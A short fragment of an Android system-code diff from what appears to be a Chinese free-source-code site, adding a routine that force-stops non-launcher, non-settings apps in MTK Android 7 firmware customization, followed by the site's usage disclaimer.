+ !pkg.equals("com.android.launcher3")&&
+ !pkg.equals("com.android.settings")){
+ am.forceStopPackageAsUser(pkg,mCurrentUserId);
+ }
+ }
+ }
+ }
+ }
+ };
+ //by ken add end
+
+
BroadcastReceiver mDreamReceiver = new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
本站资源均来自互联网,仅供研究学习,禁止违法使用和商用,产生法律纠纷本站概不负责!如果侵犯了您的权益请与我们联系!
转载请注明出处: 免费源码网-免费的源码资源网站 » mtk Android7定制修改
发表评论 取消回复